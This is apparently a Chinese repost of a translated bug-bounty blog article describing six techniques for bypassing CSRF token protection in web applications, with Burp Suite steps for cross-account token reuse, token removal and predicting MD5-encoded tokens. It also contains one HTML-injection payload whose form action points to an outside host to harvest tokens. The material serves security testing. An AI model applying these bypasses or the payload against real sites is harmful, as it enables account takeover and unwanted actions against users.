6种方法绕过CSRF保护

Posted 因特耐特杂货铺

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了6种方法绕过CSRF保护相关的知识,希望对你有一定的参考价值。

   翻译文章,原文:6 Methods to bypass CSRF protection on a web application[1]


你们都知道CSRF是什么,如果不知道的话,您就不会出现在我的博客上。今天,在本文中,我将解释对测试网站的CSRF保护的四个简单测试,这些测试可能会导致CSRF绕过,这反过来可以为您赚钱。


Cross site request forgery


1. 在帐户之间使用CSRF令牌

最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点

从帐户A登录到应用程序
转到其密码更改页面
使用burp代理捕获CSRF令牌
注销账户A,然后登录B账户
转到密码更改页面并拦截该请求
使用Acsrf token 代替 账户B

2. 替换相同长度的值

另一种技术是,您可以找到该令牌的长度,例如,它是在您将同一变量替换为其他32个字符值的变量authenticity_token下包含32个字符的字母数字令牌

例如,令牌为ud019eh10923213213123,您将其替换为具有相同值的令牌。(相同长度)

3. 从请求中完全删除CSRF token

此技术通常适用于帐户删除功能,在这些功能中根本不验证令牌,这使攻击者可以通过CSRF删除任何用户的帐户。但是我发现它也可以在其他功能上工作。很简单,您用burpsuite拦截了请求,并从整个令牌中删除了令牌,我测试过的应用程序中有40%被发现容易受到此技术的攻击

4. 解码CSRF令牌

绕过CSRF的另一种方法是识别CSRF令牌的算法。根据我的经验,CSRF令牌是MD5或Base64编码的值。您可以解码该值并对该算法中的下一个值进行编码,然后使用该令牌。例如,"a0a080f42e6f13b3a2df133f073095dd"是MD5(122)。您可以类似地将下一个值MD5(123)作为CSRF令牌已达到绕过的目的。

5. 通过html注入提取令牌

此技术利用HTML注入漏洞,攻击者可以利用该漏洞植入记录器,以从该网页提取CSRF令牌并使用该令牌。攻击者可以植入链接,例如:

<form action=”http://shahmeeramir.com/acquire_token.php></textarea>

6. 仅使用令牌的静态部分

经常观察到CSRF令牌由两部分组成。静态部分和动态部分。考虑两个CSRF令牌shahmeer742498h989889和shahmeer7424ashda099s。shahmeer7424作为静态部分当作令牌使用。

还有许多其他方法可以绕过CSRF保护,但是我在寻找bug的过程中大多遇到这些情况。

References

[1] 6 Methods to bypass CSRF protection on a web application: https://shahmeeramir.com/methods-to-bypass-csrf-protection-on-a-web-application-3198093f6599


以上是关于6种方法绕过CSRF保护的主要内容,如果未能解决你的问题,请参考以下文章

如何绕过csrf保护,并在burp suite中使用intruder?

绕过 XHR 的 CSRF 保护是不是安全? (导轨)

绕过Facebook CSRF保护——导致帐户接管

利用Window.Opener绕过CSRF保护

Canary5种绕过方式 栈溢出保护及整数保护

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制